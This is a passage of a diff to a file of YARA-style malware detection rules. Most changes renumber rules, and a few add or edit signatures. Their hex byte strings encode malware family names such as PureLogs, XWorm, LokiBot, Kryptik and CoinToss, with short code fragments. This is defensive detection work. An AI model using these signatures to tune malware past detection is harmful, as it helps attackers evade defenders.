>=1 } -rule _InfrastructureShared_4524{ +rule _InfrastructureShared_4708{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 50 75 72 65 4c 6f 67 73 2e 41 44 21 4d 54 42 00 01 00 2b 01 fe 0e 14 00 fe 0e 15 00 20 ce 8a f8 01 20 51 f5 b2 79 61 20 02 df cf 6c 61 fe 0e 14 00 fe 0c 12 00 20 0f 0f 0f } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_4709{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -46774,7 +48679,7 @@ rule _InfrastructureShared_4524{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4525{ +rule _InfrastructureShared_4710{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -46784,7 +48689,7 @@ rule _InfrastructureShared_4525{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4526{ +rule _InfrastructureShared_4711{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -46794,7 +48699,7 @@ rule _InfrastructureShared_4526{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4527{ +rule _InfrastructureShared_4712{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -46804,7 +48709,7 @@ rule _InfrastructureShared_4527{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_4528{ +rule _InfrastructureShared_4713{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -46814,7 +48719,7 @@ rule _InfrastructureShared_4528{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_4529{ +rule _InfrastructureShared_4714{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -46825,7 +48730,7 @@ rule _InfrastructureShared_4529{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*30720) >=1 } -rule _InfrastructureShared_4530{ +rule _InfrastructureShared_4715{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -46836,7 +48741,7 @@ rule _InfrastructureShared_4530{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*30720) >=1 } -rule _InfrastructureShared_4531{ +rule _InfrastructureShared_4716{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -46847,7 +48752,7 @@ rule _InfrastructureShared_4531{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*30720) >=1 } -rule _InfrastructureShared_4532{ +rule _InfrastructureShared_4717{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -46858,7 +48763,7 @@ rule _InfrastructureShared_4532{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*30720) >=1 } -rule _InfrastructureShared_4533{ +rule _InfrastructureShared_4718{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -46869,7 +48774,7 @@ rule _InfrastructureShared_4533{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*1) >=1 } -rule _InfrastructureShared_4534{ +rule _InfrastructureShared_4719{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -46881,7 +48786,7 @@ rule _InfrastructureShared_4534{ ((#a_70_0 & 1)*17699+(#a_a2_1 & 1)*11520+(#a_90_2 & 1)*6181) >=1 } -rule _InfrastructureShared_4535{ +rule _InfrastructureShared_4720{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -46891,7 +48796,7 @@ rule _InfrastructureShared_4535{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4536{ +rule _InfrastructureShared_4721{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -46901,7 +48806,7 @@ rule _InfrastructureShared_4536{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4537{ +rule _InfrastructureShared_4722{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -46911,7 +48816,7 @@ rule _InfrastructureShared_4537{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4538{ +rule _InfrastructureShared_4723{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -46921,7 +48826,7 @@ rule _InfrastructureShared_4538{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_4539{ +rule _InfrastructureShared_4724{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -46932,7 +48837,7 @@ rule _InfrastructureShared_4539{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*30720) >=2 } -rule _InfrastructureShared_4540{ +rule _InfrastructureShared_4725{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -46943,7 +48848,7 @@ rule _InfrastructureShared_4540{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*30720) >=2 } -rule _InfrastructureShared_4541{ +rule _InfrastructureShared_4726{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -46954,7 +48859,7 @@ rule _InfrastructureShared_4541{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*30720) >=2 } -rule _InfrastructureShared_4542{ +rule _InfrastructureShared_4727{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -46965,7 +48870,7 @@ rule _InfrastructureShared_4542{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*30720) >=2 } -rule _InfrastructureShared_4543{ +rule _InfrastructureShared_4728{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -46976,7 +48881,7 @@ rule _InfrastructureShared_4543{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*30720) >=2 } -rule _InfrastructureShared_4544{ +rule _InfrastructureShared_4729{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -46987,7 +48892,7 @@ rule _InfrastructureShared_4544{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*30720) >=2 } -rule _InfrastructureShared_4545{ +rule _InfrastructureShared_4730{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -46998,7 +48903,7 @@ rule _InfrastructureShared_4545{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*30720) >=2 } -rule _InfrastructureShared_4546{ +rule _InfrastructureShared_4731{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -47009,7 +48914,7 @@ rule _InfrastructureShared_4546{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*30720) >=2 } -rule _InfrastructureShared_4547{ +rule _InfrastructureShared_4732{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -47020,7 +48925,7 @@ rule _InfrastructureShared_4547{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*30720) >=2 } -rule _InfrastructureShared_4548{ +rule _InfrastructureShared_4733{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -47031,7 +48936,7 @@ rule _InfrastructureShared_4548{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*2) >=2 } -rule _InfrastructureShared_4549{ +rule _InfrastructureShared_4734{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -47042,7 +48947,7 @@ rule _InfrastructureShared_4549{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*2) >=2 } -rule _InfrastructureShared_4550{ +rule _InfrastructureShared_4735{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -47053,7 +48958,7 @@ rule _InfrastructureShared_4550{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*2) >=2 } -rule _InfrastructureShared_4551{ +rule _InfrastructureShared_4736{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -47064,7 +48969,7 @@ rule _InfrastructureShared_4551{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*2) >=2 } -rule _InfrastructureShared_4552{ +rule _InfrastructureShared_4737{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -47075,7 +48980,7 @@ rule _InfrastructureShared_4552{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*2) >=2 } -rule _InfrastructureShared_4553{ +rule _InfrastructureShared_4738{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -47086,7 +48991,7 @@ rule _InfrastructureShared_4553{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*2) >=2 } -rule _InfrastructureShared_4554{ +rule _InfrastructureShared_4739{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -47097,7 +49002,7 @@ rule _InfrastructureShared_4554{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*30720) >=2 } -rule _InfrastructureShared_4555{ +rule _InfrastructureShared_4740{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -47108,7 +49013,7 @@ rule _InfrastructureShared_4555{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*-31473) >=2 } -rule _InfrastructureShared_4556{ +rule _InfrastructureShared_4741{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -47119,39 +49024,29 @@ rule _InfrastructureShared_4556{ ((#a_4c_0 & 1)*21539+(#a_6f_1 & 1)*31073) >=2 } -rule _InfrastructureShared_4557{ +rule _InfrastructureShared_4742{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 0e 01 59 00 64 00 72 00 53 00 75 00 70 00 70 00 01 00 20 01 2d 00 2d 00 75 00 73 00 65 00 72 00 2d 00 64 00 61 00 74 00 61 00 2d 00 64 00 69 00 72 00 3d 00 00 00 78 59 00 00 02 00 02 00 03 00 21 23 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 42 6c 6f 66 65 6c 64 73 } //25635 - $a_2e_1 = {21 4c 6f 77 66 69 00 01 00 0c 03 b8 5d 11 00 00 90 02 08 cd 2e 90 00 01 00 0c 03 b8 1e 12 00 00 90 02 08 cd 2e 90 00 01 00 09 01 64 a1 30 00 00 00 8b 40 2c 00 00 78 59 00 00 03 00 03 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 58 57 6f 72 6d 2e 41 58 43 21 4d 54 42 00 03 00 2d 01 13 05 1d 28 09 00 00 0a 13 06 11 06 72 12 a6 01 } //24899 + $a_2e_1 = {21 4c 6f 77 66 69 00 01 00 0c 03 b8 5d 11 00 00 90 02 08 cd 2e 90 00 01 00 0c 03 b8 1e 12 00 00 90 02 08 cd 2e 90 00 01 00 09 01 64 a1 30 00 00 00 8b 40 2c 00 00 78 59 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4c 6f 6b 69 42 6f 74 2e 52 44 4e 21 4d 54 42 00 01 00 14 01 53 74 61 72 74 57 65 62 20 41 70 70 6c 69 } //24899 condition: ((#a_5f_0 & 1)*25635+(#a_2e_1 & 1)*24899) >=2 } -rule _InfrastructureShared_4558{ +rule _InfrastructureShared_4743{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " strings : - $a_70_0 = {6f 69 74 3a 57 69 6e 33 32 2f 42 6c 6f 66 65 6c 64 73 43 61 74 2e 42 21 4c 6f 77 66 69 00 01 00 0c 03 b8 5d 11 00 00 90 02 08 cd 2e 90 00 01 00 0c 03 b8 1e 12 00 00 90 02 08 cd 2e 90 00 01 00 09 01 64 a1 30 00 00 00 8b 40 2c 00 00 78 59 00 00 03 00 03 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 58 57 6f 72 6d 2e 41 58 43 21 4d 54 42 00 03 } //17699 - $a_13_1 = {1d } //11520 + $a_70_0 = {6f 69 74 3a 57 69 6e 33 32 2f 42 6c 6f 66 65 6c 64 73 43 61 74 2e 42 21 4c 6f 77 66 69 00 01 00 0c 03 b8 5d 11 00 00 90 02 08 cd 2e 90 00 01 00 0c 03 b8 1e 12 00 00 90 02 08 cd 2e 90 00 01 00 09 01 64 a1 30 00 00 00 8b 40 2c 00 00 78 59 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4c 6f 6b 69 42 6f 74 2e 52 44 4e 21 4d 54 42 } //17699 + $a_72_2 = {57 65 62 20 41 70 70 6c 69 63 61 74 69 6f 6e 01 00 07 01 41 63 63 6f 75 6e 74 01 00 08 01 4d 65 72 63 68 61 6e 74 00 00 78 59 00 00 03 00 03 00 03 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 41 6c 74 6e 65 74 00 01 00 16 01 3a 5c 50 72 6f 67 72 61 6d 20 46 69 6c 65 73 5c 41 6c 74 6e 65 } //29779 condition: - ((#a_70_0 & 1)*17699+(#a_13_1 & 1)*11520) >=2 + ((#a_70_0 & 1)*17699+(#a_72_2 & 1)*29779) >=2 } -rule _InfrastructureShared_4559{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 58 57 6f 72 6d 2e 41 58 43 21 4d 54 42 00 03 00 2d 01 13 05 1d 28 09 00 00 0a 13 06 11 06 72 12 a6 01 70 28 0a 00 00 0a 13 07 11 07 11 05 28 0b 00 00 0a 00 11 07 28 0c 00 00 0a 26 00 de 12 00 } //16675 - condition: - ((#a_46_0 & 1)*16675) >=3 - -} -rule _InfrastructureShared_4560{ +rule _InfrastructureShared_4744{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -47163,7 +49058,7 @@ rule _InfrastructureShared_4560{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*30720+(#a_00_2 & 1)*30720) >=3 } -rule _InfrastructureShared_4561{ +rule _InfrastructureShared_4745{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -47175,7 +49070,7 @@ rule _InfrastructureShared_4561{ ((#a_77_0 & 1)*16675+(#a_69_1 & 1)*29551+(#a_65_2 & 1)*25673) >=3 } -rule _InfrastructureShared_4562{ +rule _InfrastructureShared_4746{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -47187,7 +49082,7 @@ rule _InfrastructureShared_4562{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*3+(#a_3a_2 & 1)*21587) >=3 } -rule _InfrastructureShared_4563{ +rule _InfrastructureShared_4747{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -47199,7 +49094,7 @@ rule _InfrastructureShared_4563{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*3+(#a_3a_2 & 1)*21587) >=3 } -rule _InfrastructureShared_4564{ +rule _InfrastructureShared_4748{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -47211,7 +49106,7 @@ rule _InfrastructureShared_4564{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*3+(#a_42_2 & 1)*16725) >=3 } -rule _InfrastructureShared_4565{ +rule _InfrastructureShared_4749{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -47223,7 +49118,7 @@ rule _InfrastructureShared_4565{ ((#a_41_0 & 1)*20515+(#a_23_1 & 1)*1+(#a_4d_2 & 1)*21571) >=3 } -rule _InfrastructureShared_4566{ +rule _InfrastructureShared_4750{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -47233,7 +49128,7 @@ rule _InfrastructureShared_4566{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_4567{ +rule _InfrastructureShared_4751{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -47243,7 +49138,17 @@ rule _InfrastructureShared_4567{ ((#a_4c_0 & 1)*21539) >=5 } -rule _InfrastructureShared_4568{ +rule _InfrastructureShared_4752{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4b 72 79 70 74 69 6b 2e 50 47 48 21 4d 54 42 00 05 00 2a 03 0b ce 8b 45 90 01 04 0f b6 30 8b 45 90 01 01 33 d2 f7 75 90 01 04 0f b6 14 10 23 f2 f7 d6 23 ce 8b 85 90 01 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=5 + +} +rule _InfrastructureShared_4753{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " @@ -47254,7 +49159,7 @@ rule _InfrastructureShared_4568{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*30720) >=5 } -rule _InfrastructureShared_4569{ +rule _InfrastructureShared_4754{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -47267,7 +49172,7 @@ rule _InfrastructureShared_4569{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*30720+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720) >=5 } -rule _InfrastructureShared_4570{ +rule _InfrastructureShared_4755{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 21 " @@ -47278,7 +49183,7 @@ rule _InfrastructureShared_4570{ ((#a_4c_0 & 1)*21539+(#a_ee_1 & 1)*-31027) >=6 } -rule _InfrastructureShared_4571{ +rule _InfrastructureShared_4756{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " @@ -47289,7 +49194,7 @@ rule _InfrastructureShared_4571{ ((#a_4c_0 & 1)*21539+(#a_61_1 & 1)*25697) >=6 } -rule _InfrastructureShared_4572{ +rule _InfrastructureShared_4757{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -47299,7 +49204,7 @@ rule _InfrastructureShared_4572{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_4573{ +rule _InfrastructureShared_4758{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -47309,7 +49214,7 @@ rule _InfrastructureShared_4573{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_4574{ +rule _InfrastructureShared_4759{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -47319,7 +49224,7 @@ rule _InfrastructureShared_4574{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_4575{ +rule _InfrastructureShared_4760{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -47329,7 +49234,7 @@ rule _InfrastructureShared_4575{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_4576{ +rule _InfrastructureShared_4761{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -47339,7 +49244,7 @@ rule _InfrastructureShared_4576{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_4577{ +rule _InfrastructureShared_4762{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 03 00 21 " @@ -47351,7 +49256,7 @@ rule _InfrastructureShared_4577{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*12+(#a_3a_2 & 1)*21587) >=11 } -rule _InfrastructureShared_4578{ +rule _InfrastructureShared_4763{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -47363,7 +49268,7 @@ rule _InfrastructureShared_4578{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*15+(#a_3a_2 & 1)*19521) >=12 } -rule _InfrastructureShared_4579{ +rule _InfrastructureShared_4764{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 02 00 21 " @@ -47374,7 +49279,7 @@ rule _InfrastructureShared_4579{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*30720) >=15 } -rule _InfrastructureShared_4580{ +rule _InfrastructureShared_4765{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 02 00 21 " @@ -47385,7 +49290,7 @@ rule _InfrastructureShared_4580{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*30720) >=15 } -rule _InfrastructureShared_4581{ +rule _InfrastructureShared_4766{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 02 00 21 " @@ -47396,7 +49301,7 @@ rule _InfrastructureShared_4581{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*30720) >=15 } -rule _InfrastructureShared_4582{ +rule _InfrastructureShared_4767{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 02 00 21 " @@ -47407,7 +49312,7 @@ rule _InfrastructureShared_4582{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*30720) >=15 } -rule _InfrastructureShared_4583{ +rule _InfrastructureShared_4768{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 02 00 21 " @@ -47418,7 +49323,7 @@ rule _InfrastructureShared_4583{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*30720) >=15 } -rule _InfrastructureShared_4584{ +rule _InfrastructureShared_4769{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 03 00 21 " @@ -47430,7 +49335,7 @@ rule _InfrastructureShared_4584{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*30720+(#a_00_2 & 1)*30720) >=30 } -rule _InfrastructureShared_4585{ +rule _InfrastructureShared_4770{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -47440,7 +49345,7 @@ rule _InfrastructureShared_4585{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_4586{ +rule _InfrastructureShared_4771{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -47450,7 +49355,7 @@ rule _InfrastructureShared_4586{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_4587{ +rule _InfrastructureShared_4772{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -47460,7 +49365,7 @@ rule _InfrastructureShared_4587{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_4588{ +rule _InfrastructureShared_4773{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -47470,7 +49375,7 @@ rule _InfrastructureShared_4588{ ((#a_54_0 & 1)*18467) >=100 } -rule _InfrastructureShared_4589{ +rule _InfrastructureShared_4774{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -47480,7 +49385,7 @@ rule _InfrastructureShared_4589{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4590{ +rule _InfrastructureShared_4775{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -47490,7 +49395,7 @@ rule _InfrastructureShared_4590{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4591{ +rule _InfrastructureShared_4776{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -47500,7 +49405,7 @@ rule _InfrastructureShared_4591{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4592{ +rule _InfrastructureShared_4777{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -47510,7 +49415,7 @@ rule _InfrastructureShared_4592{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4593{ +rule _InfrastructureShared_4778{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -47520,7 +49425,7 @@ rule _InfrastructureShared_4593{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4594{ +rule _InfrastructureShared_4779{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -47530,7 +49435,7 @@ rule _InfrastructureShared_4594{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4595{ +rule _InfrastructureShared_4780{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -47540,7 +49445,7 @@ rule _InfrastructureShared_4595{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4596{ +rule _InfrastructureShared_4781{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -47550,7 +49455,7 @@ rule _InfrastructureShared_4596{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4597{ +rule _InfrastructureShared_4782{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -47560,7 +49465,7 @@ rule _InfrastructureShared_4597{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4598{ +rule _InfrastructureShared_4783{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -47570,7 +49475,7 @@ rule _InfrastructureShared_4598{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4599{ +rule _InfrastructureShared_4784{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -47580,7 +49485,17 @@ rule _InfrastructureShared_4599{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4600{ +rule _InfrastructureShared_4785{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 69 6e 54 6f 73 73 2e 41 21 64 68 61 00 01 00 2c 42 48 8b 72 08 48 8b 1a 48 3b de 74 ?? 0f b6 03 34 ?? 88 44 24 48 48 8b 57 08 48 3b 57 10 74 08 88 02 48 ff 47 08 eb } //16675 + condition: + ((#a_46_0 & 1)*16675) >=1 + +} +rule _InfrastructureShared_4786{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -47590,7 +49505,7 @@ rule _InfrastructureShared_4600{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4601{ +rule _InfrastructureShared_4787{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -47600,7 +49515,7 @@ rule _InfrastructureShared_4601{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4602{ +rule _InfrastructureShared_4788{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -47610,7 +49525,7 @@ rule 